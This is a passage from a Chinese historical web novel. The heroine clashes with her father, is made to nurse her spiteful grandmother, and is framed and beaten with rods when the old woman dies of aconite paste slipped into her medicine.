“你不怪为父就好。”李珺听她如此说,便露出笑容,温声说,“我知道你是个好心的孩子。” 这就开始戴高帽了,关怀素冷静地听着,面上笑意不达眼底,只是听着。 李珺垂眸倒茶,没看到她的表情,只顺着自己的思路叹了口气,说:“我知道叫你骤然和陆大儒联系,确实是叫你为难了,但是事关你两个弟弟的前程,为父只能腆颜求你救救你两个弟弟……” “父亲不必再说。”关怀素却主动打断了李珺的话,说,“父亲,此事我实在不好开口,一则我和陆伯伯多年未曾见过,节年一封问安书信也无,突然上门就是为了求人,实在是太失礼;二则辰文和辰瑜二人如今结果,皆是自己招致。祸福无门,惟人自召。我实在是不好随便插手。” “那可是你的亲弟弟!日后我不在了,这个世上还有谁为你张目?”李珺含了三分火气,强忍着说,“你今日帮他们,他们记得你的好,他日必会百倍奉还给你!” “我阿娘当初对老夫人不好吗?”关怀素突然冷冷地问。 一句话,叫李珺上头的怒火一下子沉了下来。 他惊疑不定地看着关怀素,问:“玉儿,你是什么意思?” “没什么意思。就是我听家里老人说起来,说以前我阿娘在的时候,老夫人每日光是吃食,一日便可抛费十几两。所有饭菜都只用一两勺,剩的饭菜连主院里的三等下人都能吃得酒足饭饱。”关怀素看着李珺,面色平静地说,“我娘如此供奉,为何老夫人不曾在她死后荫蔽于我呢?” 这句话问得李珺瞠目结舌,一时词穷,竟答不出话来。 而后他猛地说:“你竟一直心中对长辈心怀怨望!” 关怀素看着他,说:“父亲,你学儒学,可曾学过孔圣人的话?以德报怨,何以报德?以直报怨,以德报德。可曾学过,躬自厚而薄责于人,则远怨矣。治大国如烹小鲜,治家何尝不是如此?” “躬自厚而薄责于人,则远怨矣。”这句话,叫李珺仿佛被扇了一耳光一样,他脸上火辣辣地疼,看着眼前的女儿,咬牙说:“那是你祖母!是你的长辈!孝子之养也,乐其心,不违其志。你母亲奉养你祖母是应该的,你居然还心存怨望,是为不孝!” “玉儿不敢随意担当不孝罪责,这些年来,玉儿哪怕是被下人抢走一切、被驱赶到庄子上、三天只有一缸水用,又差点被虐待死……也未曾对家中有一丝一毫怨言。”关怀素冷冷地看着李珺,说,“何况父亲您别忘了,便是您尊崇的学说里也说了,君为臣纲,君不正,臣投他国。国为民纲,国不正,民起攻之。父为子纲,父不慈,子奔他为父望。” 这话一出,李珺起身,抖着手指指着关怀素半天,而后半晌才憋出一个字:“滚!” 关怀素落落大方起身,笑着抖了抖裙摆行了个礼,说:“那我便孝顺为上,遵从父亲大人之命了。” 她转身就从李珺的书房离开,出门的时候,刚巧遇到孙大娘子,二人擦身而过,都未曾与对方招呼。 第一百三十五章 侍疾 “姑娘,您跟老爷吵起来了,大娘子又去,只怕会对您不利啊!”丁妈妈忧心忡忡地出来就说。 “没事,不过是拿我的婚事说事儿,我不怕。”关怀素摇头,对丁妈妈轻声说,“妈妈,我在李家不会待多久了。” 闵叔叔一旦回京,她便立刻会找机会与李家人对簿公堂,把当年所有事情全部拿出来说清楚。 丁妈妈想问什么,但是想到关怀素跟她说过的话,到底压了下来。 她只咬牙,说:“那便听凭姑娘吩咐了!” 说着话,众人回了屋子,那边孙大娘子进屋便问起来了李珺与关怀素说什么。 李珺正在生气,便三言两语把方才与关怀素争吵的话说了,末了暴怒地说:“你说说她,说的都是什么话!她竟心里对家里人都有这么大的怨气!” 孙大娘子知道她的来历,也知道李婉玉已经死了,姐姐死了,关怀素怎么可能没怨气? 但是她依旧没打算把这件事情说出来,在孙大娘子的立场来看,这时候她装作不知道,比说出来更好。 说出来之后,不免要交代什么时候对关怀素产生了怀疑,又是如何去永年县调查,以及知道之后为何不快些告诉家里? 她如今在李珺面前本就不得脸,若是再添了这些事情,难免更叫李珺增添狐疑。 她如今身份不如以往,已经赌不起李珺任何猜忌了。 且若是能把这关怀素的婚事敲定,给她囫囵嫁出去,对老爷来说,也算是解决了一桩大事。 办好此事,再好好琢磨一下,慢慢总能把管家权限拿回来的。 孙大娘子细细想着,在路上已经心有定数,等听到李珺这一番叱骂之后,面上立刻做出惊讶的神色,立刻请罪说:“也怪我,当初若是我多照拂大姑娘,想来她也不会迁怒家里,如今瑜哥儿和文哥儿日日拘在家里,也不知如何是好……” 说完就开始擦起了眼泪。 “无事,家里还真离不开她了不成?到时候我与老师说一下,叫老师在京师给他们安排名师,一两年的,也差不多过去了!”李珺方才赶走关怀素之后,就知道此事无可更改,便早已经想好了备选方案。 孙大娘子听说儿子不用回肇州,登时放下心头大石,崇拜地看着李珺,说:“还是老爷有办法!” 李珺见她如此,心中总算稍微受用,这才问起她的来意。 孙大娘子便说了关怀素的婚事,说完又轻声说:“她如今对家里如此怨恨,也不知安排她嫁给官州刺史那孙子,日后得势之后,会不会照拂家里。” “她还照拂家里?她只怕恨不得家里倒霉才好!”李珺冷哼一声,说,“不过无事,就安排这家,在公主那边也才能交代过去。再说,周老再过不久也要致仕,周家在朝上无人,日后她夫君能否起来,还不是看我!” 说到这里,孙大娘子便也放心了,只说自己去安排。 二人商量着,殊不知后院崔小娘和老夫人也在说话。 老夫人到底上了年纪,这次半夜受惊之后,竟是一病不起,日日汤药伺候着,却还是头昏脑胀,怎么都不舒服。 郎中日日来问诊,每回都说了,这是年纪大了的缘故,只能细细养着,养个一年半载,便自然好了。 只是如此一来,便苦了老夫人,日日汤药喝得嘴巴发苦,往日最喜欢的饭食也没味道了,只一味地躺着,便觉得什么滋味儿都没有。 “叫文哥儿和瑜哥儿出去。”老夫人睡了一会儿,睁眼看到婉淑和李辰文、李辰瑜都在侍疾,便轻声说。 崔小娘一直伺候她,知道老夫人要出恭了,便叫两个哥儿和婉淑都回去。 回来伺候老夫人出恭完,崔小娘就笑着说:“我把孩子们都打发回去了,二姑娘要嫁人了,两个哥儿不会伺候人,给老祖宗看看也就是了,老祖宗别嫌弃我擅作主张。” “你安排的很好。”老夫人病了之后,感觉到崔妙人照顾的尽心,这会子听她安排得井井有条,心中对她也满意。 不过她心里也记挂着李辰文和李辰瑜读书的事情,因此便问:“怎么样,珺儿说她今儿个叫大丫头帮忙给陆大儒送信说说情,她可答应了?” 崔小娘闻言,叹了口气,说:“前头刚传话来,说是大姑娘与老爷大吵一架,说绝不帮忙,还说,还说……” “说了什么?你直说!”老夫人催促。 “说父不慈,子远走他乡……”崔小娘小心地说。 这一句话,听得老夫人登时怒意大起,气得发出风箱一般的喘气声。 身边人一叠声地都劝,老夫人好容易喘出气来,怒声说:“叫她自己过来给我侍疾。” 崔小娘一愣,而后轻声说:“老夫人,您如今身子不爽利呢,可不好弹压她。” “叫她来!凭什么我在重病,她便舒舒服服地躺在家里?”老夫人声音淬了毒一般,恨声说,“她既然连自己的亲兄弟都不帮,可见也是托了她娘那蛇蝎心肠的苗子!既然如此,还闲着做什么?叫她来给我侍疾!” 如今家里没有比老夫人大的,她既然如此说,下人们对视一眼,孔妈妈便站出来,说:“老夫人,我这就叫大姑娘过来侍疾!” “好!”老夫人觉得这孔妈妈倒是有眼色的,这会子看她也益发顺眼了一些,便点点头,叫她快些去。 孔妈妈领了活计,一路到了关怀素屋里,便把老夫人说的话全数告诉了关怀素,而后又翻了个白眼,说:“听她说话中气十足的,我瞧着不像是不好了的。估计是想着办法折腾姑娘,姑娘可要小心些。” “无事。”关怀素闻言,便起身说,“我换套衣服,瞧瞧老夫人到底是想怎么侍疾。” “姑娘小心些,老夫人早年老拿这套折腾关娘子,她十分难缠。”孔妈妈见关怀素不以为意,便忍不住压低声音告诫她。 关怀素一听,愣了一下,脸色也冷下来,说:“我知道了,多谢妈妈。” 遂换了一套家常素衣,便去老夫人屋里。 到了地方,只觉得屋里一股子浓浓的香粉味儿,和药味搅和在一起,无端端有种让人作呕的闷气。 关怀素面上不动声色,上前给老夫人请安,老夫人只躺在床上,像是没听到一般。 关怀素立刻起身,上前问崔小娘:“小娘,老夫人的身体如何了?” 崔小娘便笑笑,说了郎中的叮嘱,而后马上说:“我去看看药,这里就劳烦大姑娘了。” 显然是都安排好的。 关怀素也不拒绝,只坐下来,见老夫人闭目,便拿出一本书打算看。 偏这个时候,老夫人像是看到了一般,立刻说:“我嘴巴干得很。” 关怀素立刻从丁妈妈手里接过水,大力扶着老夫人坐起来,杵着杯子给她喝水。 “咳咳咳……你要呛死我啊!”老夫人果然立刻发作,愤怒地骂起来。 “老夫人见谅,我也是第一次伺候人呢。”关怀素笑着回答,而后说,“来,多喝点水。” 老夫人本想让她端着杯子,自己慢慢一口口地喝水,如此折腾几次,叫她回去吃饭都拿不起筷子,这才快活。 没想到她竟是莽撞性子,竟一口水差点把她呛死! 老夫人怕她故技重施,也不叫喝水了,又折腾着说要出恭,还叫关怀素扶着起身,全身力气压在关怀素身上,病歪歪地叫她扶着,起来之后又说不想出恭了,如此反复折腾。 这种事情很是折腾人,便是崔小娘伺候她出恭一次,也是一身大汗,婉淑更是根本没那个力气。 老夫人本以为关怀素会告饶,却没想到她力气奇大,扛着她就往恭桶前走,她说不想之后,立刻便把她塞回床上。 如此反复几次,关怀素还没觉得不舒服,老夫人已经折腾的头痛起来。 老夫人本就病着,白日里这样一直来回折腾好些次,没叫关怀素吃亏,反倒晚上发起热来。 她第二日奄奄一息地起来,见关怀素来了,便冷声呵斥:“就是你照顾不力,害我病重,你给我站在床头,站一整天,不许走!” 关怀素也领了命令,直直地杵在床头,站着不动。 站了一会儿,刚觉得脚酸,便听到外头孔妈妈的怒斥:“你是不是疯了,怎么把恭桶打破了?!” 崔小娘听着不对劲,立刻推开窗,结果一开窗,屋子里所有人都闻到了一股恶臭,全部作呕起来。 外头王妈妈手足无措地站着,说:“我、我也不知道怎么回事,最近做事糊里糊涂的……” “快、快把窗户关上!”崔小娘立刻便开口吩咐下人,又叫所有人,“快些拿熏香把屋里熏一熏,别叫老夫人闻着难受!” 下人们很快进来,孔妈妈看到关怀素站着,便小声问:“大姑娘可否换个地方,我要在这里放熏笼。” 关怀素立刻走动了一圈,换了个地方站着。 老夫人被熏得作呕,很是折腾了一会儿,刚开始有了点睡意,便听到外头又是“哐当”一声! “这是闹什么?”老夫人生气了,孔妈妈立刻出去,门口很快响起了声音,“这可是老夫人最爱的摆件啊!” 回来进屋匆匆说:“老夫人,王妈妈不知怎地,把您那座玉屏风打碎了!” 老夫人登时痛彻心扉,连声说:“那可是先帝御赐的摆件!” 末了想到那是关家东西,又住了嘴,只是愤怒地说:“叫宝丫把她娘领回去!看在伺候我十几年的份上,我不计较了,这两天把人关屋里,直到宝丫把她娘带走之前,不许再放出来了!” “老夫人仁慈!”孔妈妈连忙说,“王妈妈许是糊涂了。” 老夫人这会子愤怒褪去,忍不住又涌起一股兔死狐悲的伤怀来,叹了口气,喘着说:“是啊,我年纪大了,你们也年纪大了……明儿个王妈妈走的时候,叫她把自个儿的东西全带着,好歹叫她糊涂了,有些钱财,也不至于叫女婿觉得白养她,到时候糟践她。” 众下人听到这里,都齐齐口称老夫人仁善。 关怀素乐滋滋地看了一天,知道王妈妈这番是故意帮自己,也是看着老夫人愈发行事不像话,家里乱糟糟的,有了去意。 总归去八仙庄和宝丫一起,帮着照顾满娘母子,也算是母女都一起为自己做事,关怀素心里领了这个人情。 她面上不动声色,只做不知。 晚上回去的时候,脚站的有些肿了。 “姑娘,老夫人若是以后日日叫你这般站着,那可怎么办啊?”柳叶晚上看她泡脚,忍不住担心地问。 “无事,跟宁小娘说,叫她把那郎中请来。”关怀素笑着说,“你看我这脚,明儿个只怕再站不得了。” 宁小娘如今管事,得了消息亲自过来,听关怀素说了白日的事情,立刻愤怒地说:“烂肠子的老贱种,往日便是这么折腾我的!偏她就知道这等腌臜手段,暗着折磨人。” “无事,她会生病,我也会,若是把我罚出个好歹,日后她也别想好过。”关怀素便笑着说,“父亲近日在走动,庞文快要回京,若是在这个时候闹出苛待子女的事情,他也别想好过!” “你放心,你父亲那里,我会去劝的。”宁小娘说着,郎中来了,老人请脉之后,叹了口气,说,“姑娘身子健壮,但是气血不畅……” “她给祖母侍疾,已经被罚着站了一天了,说是昨儿个伺候不好。”宁小娘直接说,“她阿娘的嫁妆都在祖母手上,如今快到出阁的年纪了,偏偏又折腾起来了。” “大姑娘伤了身子,很该好好休息一下,我这里开了药方,你先吃几天,瞧瞧情况。”郎中听到这里,已经明白意思,立刻便说。 关怀素达到目的,当晚便躺下了。 老夫人第二日还等着她伺候呢,结果听说昨儿个大姑娘请了郎中,已经抱病了。 “她只站了一天,定然是装病!”老夫人很生气,无论如何都要叫李婉玉过来侍疾,李珺却亲自来了,只拉着她的手温声安抚,说,“娘何必与这种不孝女生气?她婚事已经说的差不多了,再有几个月就把她嫁出去,到时候家里自然就安静了。” “好、好!”老夫人闻言,便连声说,“那家什么时候下聘?嫁的急些,聘礼可不许敷衍,到时候要我亲自过目!” “到时候直接送到您房里!”李珺闻言,明白母亲的意思,立刻便承诺。 老夫人登时爽快了,便笑着说:“好,到时候给妙人送去。她到底是文哥儿的娘,如今闹成这样,叫文哥儿也不好过。” “母亲总是为家里考虑的。”李珺闻言,感动地说。 孔妈妈在旁边听得直撇嘴,悄悄跟关怀素说:“说话之间便把大姑娘的聘礼瓜分好了,嫁妆倒是什么都没说,真真是不知所谓。” “我倒是瞧瞧,她还有什么折磨人的招数。”关怀素冷声说。 到这个时候,一切都还随着关怀素的安排在有条不紊地进行。 结果没想到,没过几日,巨变骤生。 老夫人死了。 且是死于关怀素病好后侍疾时。 当时关怀素亲手扶着老夫人喝了药,结果不出一炷香的工夫,老夫人竟中毒身亡! “你、你竟毒杀亲祖母!”当时关怀素在屋里,亲眼见着老夫人毒发身亡的过程,还没说话,便听到崔妙人刺耳的尖叫。 第一百三十六章 老夫人之死 老夫人一开始喊肚子疼的时候,关怀素还以为她又在想办法折腾自己。 直到老夫人口角渗出血的一瞬,关怀素登时全身一个激灵! 她立刻放下药碗,大吼:“快去叫郎中,老夫人中毒了!快!” 孔妈妈浑身一个哆嗦,转身就想往外跑! 偏这个时候,崔妙人就从外头进来,一见到床榻上吐血的老夫人,立刻一把拦住孔妈妈,大吼:“这屋里人都不许跑!快来人,把屋里全部看住,快去请老爷!” 正院婆子们立刻把守住大门,虎视眈眈地看着屋里的关怀素。 崔小娘则冲进屋,抱着吐血的老夫人,哭着喊:“老夫人,老夫人你怎么了,你别吓我啊!” 老夫人几口血吐出来,指着关怀素恶狠狠地抖着手指,而后喘息着咬紧牙关说:“你、你……” 但是她什么都说不出来,只能指着关怀素,双目圆睁,就此断气。 “老夫人……老夫人走了!”崔小娘瞪大眼睛,凄厉地大喊,“老夫人被毒死了!” 而后崔小娘立刻回转身体,指着关怀素说:“大姑娘,老夫人是你的祖母,你就算再与她不睦,也不能杀了她啊!” “我没有!事情尚未查清楚,小娘你不要血口喷人!”关怀素立刻大声说! “这碗药是不是你亲手喂给老夫人的?”崔小娘死死地盯着关怀素,指着窗边小几上的药碗哭着大吼,“大姑娘你,我一个小娘,说不得你,只等着你爹来了,我们叫人来查清楚!” 关怀素还想说什么,但是门口传来李珺的声音,是从未有过的惊慌失措,大声喊:“娘!娘你没事吧!” 随着声音,李珺衣衫不整地进来了,他应当是在午歇,这会子衣带都未曾系上,脚上的鞋子也只得一只,头发也十分散乱,看得出是午歇被叫醒就直接奔过来了。 他进门来,看到床榻上已经断气的老母亲,登时呆住了。 悲伤太过,李珺竟一下子失了声音。 他不知道说什么,只能死死地盯着床榻上老夫人的尸体,一时竟手足无措,不敢靠近,仿佛一瞬间回到了幼年时。 “珺郎,大姑娘给老夫人喂药,还没喂完,老夫人就吐血了!”崔小娘看到他,凄切地喊了一声,随即拿着帕子捂住脸,嚎啕大哭。 这一声好像才猛地唤醒了李珺,李珺浑身一激灵,猛地上前,检查了一下,发现母亲确实没了生机。 他颤抖着手,呆了好一会儿,才轻轻地抚摸自己的母亲,让她的眼睛闭上。 而后李珺小心地把母亲的尸首放回床上,站起身,朝着关怀素走过来。 关怀素见他来者不善,立刻解释:“父亲,药不是我煎的,此事还请父亲查清楚……啊!” 话说到一半,关怀素只觉得脸一痛!却是李珺狠狠朝她的脸打了一巴掌! 关怀素眼神一厉,却立刻隐忍下来,扶着脸垂头连退几步与李珺拉开距离。 一切发生得太快了,她如今落于下风,必须先看清楚到底发生了什么事情才成! 如此想着,门口匆匆传来声音,各屋的主子得了消息,陆续都到了。 李珺指着关怀素,咬牙呵斥:“跪下!我知道你祖母素来对你确实严厉了一些,但是你竟敢给你祖母下毒,你简直是不孝不悌,畜生不如!” 关怀素被婆子狠狠按住,“咚”的一声跪在地上。 若是姐姐在这里,被父亲不分青红皂白如此指责,再被如此折辱,只怕要被吓死。 关怀素却直视李珺,挣扎着不肯屈服,大声吼:“父亲,衙门查案尚要审查,这屋里前后那么多人接触了祖母的药,你凭什么就说是我下的毒!” “这屋子里都是积年伺候你祖母的老人!”李珺指着崔小娘,怒声说,“你祖母这大半年一直在吃药,她们伺候着都好好的,只让你伺候了两日就中毒,除了你还会有谁!” 关怀素抬头怒瞪着李珺,说:“欲加之罪何患无辞!我只是进来给老夫人喂药,从头到尾都没机会接触到煮药的地方,我用什么下毒?我一个闺阁姑娘,我从哪里弄到毒药?父亲你到底是想趁机弄死我这个女儿,还是不想认真查杀死祖母的凶手?!” 此话一出,李珺登时一愣,在场的人登时也愣了一下。 崔小娘立刻开口,说:“今儿熬药的是严妈妈。” 严妈妈闻言立刻蹲身下跪,说:“药一直都是我看着的,一熬好就送到了屋里,中途除了大姑娘,再没有别的人接过手了。” “你还有什么话说?”李珺闻言,恶狠狠地看着关怀素。 关怀素瞬间明白,如今不管是谁在背后设局,她都无法自证! 那么为今之计,唯一的生路是把所有人拖下水,逼着李珺必须严查! 电光火石之间,关怀素立刻便叩首,说:“既然如此,至少是我与严妈妈都有嫌隙,我问心无愧,还请父亲严查!” 严妈妈闻言,立刻喊冤,连声说:“我伺候老夫人已经三十几年了,若是我做的,叫我天打雷劈!” 关怀素闻言,立刻冷笑一声,说:“严妈妈说得是,如果是我做的,那我也愿意天打雷劈!不过是空口白牙,怎么说都行,我劝严妈妈还是想清楚,这药谁还过过手!” 严妈妈闻言,立刻愣了一下,而后叩首说:“只过了我和大姑娘的手,老爷明察!” 李珺听到这里,失望又愤怒地看着关怀素,说:“严妈妈伺候老夫人多年,绝不可能下毒杀害老夫人!” 关怀素冷笑一声说:“父亲说来说去,不过就想把这罪名扣在我头上罢了!” “可是严妈妈伺候老夫人三十几年,素来老夫人对身边人也和善,严妈妈绝无可能对老夫人下此狠手啊!”崔小娘含泪擦了擦眼睛,哭着说,“大姑娘,你说你是冤枉的,可这屋里,就你和老夫人一直口角不断,老夫人先头生气,罚你站着不许动,我听下人说,你回去的时候就脸色很差,大姑娘,老夫人年迈,你就算对她有什么不满,她又有多少日子啊……” 说到这里,崔小娘登时眼泪一下子喷涌而出,哭嚎着说:“老夫人庇护了我一辈子,如今竟就这么去了,我和文哥儿、蓉姐儿日后要怎么办啊!我的老夫人啊!” 她哭喊着委顿在地,所言字字椎心泣血,叫李珺听得潸然泪下。 孙大娘子看到这里,立刻悲伤地上前,对李珺说:“老爷,你要保重身子,如今老夫人不在了,家里都全仰赖您了。” 宁小娘看着局面愈发不对,立刻擦泪上前,说:“老爷,如今最为紧要的,还是要把害死老夫人的真相查清楚才是,否则老夫人走得不明不白,若是叫真凶好好地活着,老夫人在地下也不能安心啊!” 见李珺恶狠狠地盯着关怀素,宁小娘便软声说:“老爷,老夫人如今还不知道中的什么毒,还是叫郎中来看看清楚,好歹不叫老夫人冤死才是!” 这话登时叫李珺一个激灵,连声说:“对,孔妈妈,你去叫郎中来!” 又对屋子里所有下人说:“其他人都给我原地站着不许动,否则一会子一概以下毒的同伙论!” 此话一出,屋里下人们登时都噤若寒蝉,一动也不敢动。 关怀素和柳叶更是被按在原地死死地跪着,好在郎中住得并不远,过了一炷香工夫,紧赶慢赶地进来了。 一进来看到屋里情况,郎中登时倒吸一口冷气。 “老夫人身子还算康健,这、这是中毒了?”郎中小心地问。 “不知为何,今儿吃药到一半,突然就这样了。”李珺不说话,孙大娘子立刻开口说,“还请老人家你来仔细看看,可是药方子有什么问题。” 郎中上前查看,又拿银针试了试,并无反应。 而后郎中立刻拱手,说:“还请把煎药的炉子拿来,叫老朽查看一下药渣。” 熬完的药渣很快上来,而后郎中仔细检查辨认,最后反复拿起那半碗没喝完的汤药,而后突然吐了口气,说:“药里被人加了东西。” 不等李珺问,郎中立刻指着药碗的边缘说:“李大人请看,这是药碗边上没化完的药膏。” 李珺凑过去看,果然看到白瓷勺上有一点黑色药膏,非常小,若不是仔细查看,根本不会注意到。 “这、这是什么?”李珺颤声问,“可是毒药?” “此物无毒。”郎中叹了口气,目露怜悯地看着床上的老夫人,说,“上个月时,令慈说夜里有些咳喘,我便把药方里加了天花与半夏,温补同时清热生津,老夫人吃了一个月,说好了许多,十分对症。” 说到这里,郎中摇摇头说:“而我当时千叮万嘱,这药方子什么都好,就是千万不可见乌头。” “什么意思?”李珺立刻问,“这药里是被加了乌头?” 郎中点头,说:“正是,这东西是乌头,而且是生乌头做的药膏,这种药膏对风湿之症十分对症,筋骨疼痛也用得多,但是只能外用,内服又撞上天花和半夏,便是剧毒了。” 关怀素听到这里,立刻说:“敢问郎中,当日谁在场?只有知道这忌讳的人才能如此精准下毒!” 这话一说,李珺立刻也反应过来,宁小娘也悄悄地松了口气。 “这跌打疼痛的药膏,家里随处都可见的。便是文哥儿和瑜哥儿常年习武,屋里也有这种药膏。”孙大娘子皱眉说,“且大家伙儿都知道这东西有毒,吃不得,这倒也不必非要听到郎中说了才知道。” 崔妙人连连点头说:“是了,想下毒害人,这东西确实就够了。只是下毒的人可能没想到老夫人吃的药竟然是相克,发作得太迅速,反而叫人措手不及。” 二人一唱一和,这便是又把嫌疑引到了关怀素身上,暗示她本想暗中下毒,却没想到发作凶猛,才被当场逮住。 关怀素立刻说:“大家说的都是,药炉子里没有毒,只有碗里有,那么可以肯定,这毒是在药进了碗里之后才有的。我一直没出过这个门,如果说是我下毒,那么此刻我怀里应该有乌头所制的药膏才是。” 她看着李珺,说:“父亲只管叫婆子搜我的身,若是我身上有药膏,我便什么都不说了。可我身上若是没有,还请父亲搜这个屋子里所有人,大家都没出去,我倒要看看这屋里谁有药膏,自然就有嫌疑!” 此话一出,便是郎中也点头,说:“大姑娘说的是,这药膏若是久置,凉了会挥发药性,毒性发作的剧烈,应是刚刚融化就服用,才会如此。” 李珺一听,立刻沉声说:“李福,去安排人,所有下人都搜一遍!” 关怀素便抬眼看了周围一圈,见下人们个个都十分惶然,但是看着倒都是十分正常。 她眯着眼睛看一圈,孙萍那边瞧着都十分正常。 倒是崔妙人,看着虽然镇定,但是她身后的李辰文神色一滞,躲开了她的眼神。 孔妈妈上前,关怀素藏住心中疑窦,去里屋脱了外衣给孔妈妈搜身。 自然是没有。 而后闹哄哄地搜了一圈,下人和关怀素主仆身上都没带药膏。 便在这时,外头一个丫鬟突然惊呼一声,说:“哎呀,这是什么!” 众人一愣,孔妈妈掀起帘子问:“主子都在屋里,大呼小叫像什么话!” “方才大家伙搜身,搜出来的荷包,我们便放在多宝柜这里,谁知道取的时候,发现这盆松烟盆景后头有个盒子。”外头传来丫鬟害怕的声音,怯生生地说,“看着像是药膏!” 药膏! 众人一听,登时都是精神一振,李珺立刻喊:“送进来!” 第一百三十七章 板子 东西送进来,孔妈妈一看就说:“这盒子瞧着是老夫人日常惯用的。” 老夫人年迈,自然也有些关节疼痛的老毛病,素来变天就要用些止疼的药膏。 郎中接过去一看,也说:“这是我给老夫人开的药膏,阴天骨头疼了涂的。” “这里头可有乌头?”李珺问。 郎中点头,说:“有,且是上个月新制的,用的是三十年的老药材,原本是想着老夫人年纪大了,用年份大些的药效强劲,才能压得住疼。可若是误服,又与药冲撞,就成了剧毒了……” 李珺眼里浮起水雾,哽咽地说:“您的意思是,家母、家母可能便是吃了这个药膏……” 郎中轻叹一声,颔首说:“府上的膏药都是我调制,唯有老夫人和崔小娘房里上个月送了这新制的壮骨膏,其他的都是普通的,毒性不会如此剧烈。” 崔小娘猛地被点到,立刻捏着帕子说:“我常年右腿膝盖容易痛,老夫人心疼我,配药的时候便给了我一份,我变天的时候总离不开,这那盒会子应还在屋里。” 李珺闻言,想到当年崔妙人救自己的画面,脸色一柔,轻声说:“妙人,我都知道,这事儿与你无干。” 孙大娘子垂眸,像是个木头人一般,并不说话。 李珺问完,心中已经有数,沉声说:“这药膏放在进门的多宝柜上,应是下毒完之后就顺手放在门口了,若是母亲不是当场发作,行凶之人离开,下人收拾放回去,此事岂不是就成了迷案?” 说到最后几句话的时候,李珺转头,看着关怀素。 “父亲,如此一来,可以洗刷我的嫌疑!”关怀素立刻开口说,“我对老夫人的屋子里完全不了解,根本不可能知道药膏放在哪里,我又如何在那么短的时机里找到药膏并且下毒呢?” “你说得对。”李珺沉默了一下,点头说,“你先起来……” “我有证据,证明大姑娘有嫌疑!”却听到孙萍突然开口。 关怀素一愣,对上孙萍笃定的面容,她就知道不好,登时心里一沉。 “你说!”李珺立刻沉声说。 下人又把关怀素按了一下,让她重重跪在地上,疼得关怀素咬紧牙关,才压住了扭曲的表情。 “夫君,老夫人院子里两个妈妈的女儿连续出嫁,你可还记得此事?”孙大娘子一开口,孔妈妈的脸色登时一白。 关怀素心中也是一紧! 糟糕了!这是关怀素心中唯一的念头——她猛地意识到了,孙萍要说什么。 果然孙萍说:“我当日只觉得此事是好事,想着都是伺候老夫人好些年的老人了,家里的女儿出嫁,到底要做些体面。于是我便叫扶芳去赏赐,却那么巧,两次来接亲的农人里,居然有同样的面孔。” 孙萍说到这里,顿了一下,说:“当时扶芳跟我说起的时候,我心里奇怪,这孔妈妈和王妈妈是怎地找了一家人结亲不成?于是想着弄清楚怎么回事,便叫人去查查,却没想到,最后查出来,这二人嫁去的地方,都是大姑娘的产业。” 老夫人身边老人的女儿,嫁到关怀素的产业,这代表了什么,李珺当然知道。 李珺,不可置信地说:“你说什么?” “不止如此,王妈妈老糊涂被接走,宝丫接回去之后,人又清楚了,而青黛的嫁妆里,还有许多是大姑娘赏赐给孔妈妈的东西,光是头面四套,银子百两。”孙大娘子看着李珺,说,“不但如此,我打听到了,大姑娘不知为何,还赏了青黛五十亩好田。” 这些钱财,加起来都够官宦人家发嫁一个不受宠的庶女了! 说的不好听些,若是原来的李婉玉出嫁,只怕嫁妆也只会比这个多一倍,如此体面,已经不是普通关系能说得通的了。 “孔妈妈,你伺候老夫人多年,你给我说清楚,你为何会收大姑娘这么多钱财,你和王妈妈都替她做了什么事情?”李珺压住滔天愤怒,哑声问孔妈妈。 孔妈妈早已经吓得两股战战,“咚”的一声跪在地上,发抖说:“我、我没有,我没有……” 关怀素见孔妈妈这样,怕她吓得糊涂,立刻高声说:“我是给了孔妈妈赏赐,但是我本来是想叫孔妈妈替我在祖母面前说说好话而已!孔妈妈还能帮我做什么?她照顾祖母多年,不说感情,她难道没事会做杀头的事情?” 这话看似在分辨,但是关怀素也是在提醒孔妈妈——若是把装鬼吓唬老夫人、与自己的一些合谋说出来,只怕当场也是个死! 孔妈妈当然明白,浑身一哆嗦,立刻磕头说:“冤枉啊,老婆子确实贪心,收了大姑娘的钱财,但是老婆子伺候老夫人一辈子,处处指望老夫人,怎敢害人啊!” 说到这里,孔妈妈指天发毒誓,说:“若是我偷了药膏害老夫人,老天爷马上降下雷给我劈死!” “口说无凭,但是你收的钱财是实打实的,大姑娘喂了药、老夫人就中毒而死,这些事情也是实打实的!”孙大娘子立刻冷声说。 “你说的是,给我打!”李珺闻言,神色一厉,立刻冷声吩咐。 下人们立刻冲上来,抓着孔妈妈就开始打板子。 孔妈妈疼的熬不住,哭天喊地,可是也知道若是把扮鬼把老夫人吓病的事情说了,只怕死的更快,而且女儿青黛只怕也没日子过了,只能鬼哭狼嚎,却不敢多话。 关怀素见她知道轻重,暗暗松了口气。 直到孔妈妈被打得奄奄一息,被丢在了关怀素面前,关怀素便看到李珺冷冷地看着她说:“你到底是我的女儿,若是现在承认,我便把你送回肇州老家,不再提起此事。可你若再不承认,我便要上家法了!” 关怀素闻言,心中冷笑,若是承认,毒杀血亲,还是长辈,是直接能被杖毙的!她若是不懂,真的答应下来,李珺日后一辈子如何对她,要她生或死,都只需要一句话而已! 那种日子,就算是不死,也与死没有任何区别。 且李珺如此三番两次怀疑她,所谓送她回老家,绝对也只是随口哄骗。 关怀素至此,愈发戒备此人。 关怀素抬头看着李珺,沉声问:“父亲,这屋里谁不比我嫌疑大?大娘子和婉淑隔两三日就会进来拜见老夫人,崔小娘更是日日前来伺候,若是说谁知道老夫人屋里的摆设、谁与老夫人屋里伺候的人熟悉,她们谁不比我更清楚?父亲为何只盯着我审问?” “你还是不知悔改!”李珺勃然大怒,立刻说,“上家法!” 孙大娘子一使眼色,屋里孔武有力的粗使婆子立刻上前,拿起棍子,朝着关怀素的后背就是狠狠一棍子! 关怀素疼得当即摔在地上! “姑娘!姑娘!”柳叶登时急了,一下子就要扑过来替关怀素挡住,却被关怀素一把压在身下! 关怀素只感觉到那婆子一点也没收手,竟是要把她活活打死一般,二十棍子下去,关怀素呕出一口血来,神志都迷糊了。 她迷茫之中,只听李珺在问:“你承不承认是你杀了祖母?” 关怀素气喘吁吁,低声说话。 李珺听不到,露出疑惑之色。 李福蹲下身,问:“大姑娘,您想说什么?” 关怀素小声在李福耳边说了一句话,而后晕了过去。 “她说什么?”李珺看着她晕过去,问李福。 李福张口结舌,不敢说。 “快说!”李珺厉声催促。 “大姑娘说,说……”李福犹豫一下,咬牙闭着眼睛说,“大姑娘说,大人您是因为她不肯找陆大儒替两个弟弟疏通,所以挟私报复吗?” 李珺的脸色一下子黑如锅底! 